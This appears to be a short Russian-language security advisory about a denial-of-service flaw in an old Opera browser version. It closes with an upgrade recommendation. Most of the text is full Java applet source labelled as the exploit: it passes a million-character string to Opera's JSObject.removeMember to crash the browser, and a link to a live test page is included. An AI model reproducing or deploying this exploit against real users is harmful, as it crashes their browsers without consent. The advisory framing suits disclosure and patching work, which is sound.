Описание:
На указанной версии opera вызывается отказ в обслуживании, путем вызова простого
апплета.
Протестировать свой броузер можно тут:
http://www.illegalaccess.org/exploit/opera85/OperaApplet.html
Эксплоит:
> import java.applet.Applet;
> import java.awt.Graphics;
>
> import netscape.javascript.JSObject;
>
> public class OperaTest extends Applet{
> static {
> System.out.println(«Loaded 1.2»);
> }
> public void paint(Graphics g) {
> System.out.println(«start»);
> try {
> netscape.javascript.JSObject jso = JSObject.getWindow(this);
> System.out.println(jso.getClass());
> com.opera.JSObject j = (com.opera.JSObject ) jso;
> char[] x = new char[1000000];
> for (int y = 0 ; y < x.length; y++) {
> x [y] = 'A';
> }
> String z = new String(x);
> System.out.println(«after evalb»);
> j.removeMember(z);
> System.out.println(«after remove»);
> }
> catch (Exception e) {
> e.printStackTrace();
> }
> }
> }
Решение: Обновитесь до версии 8.51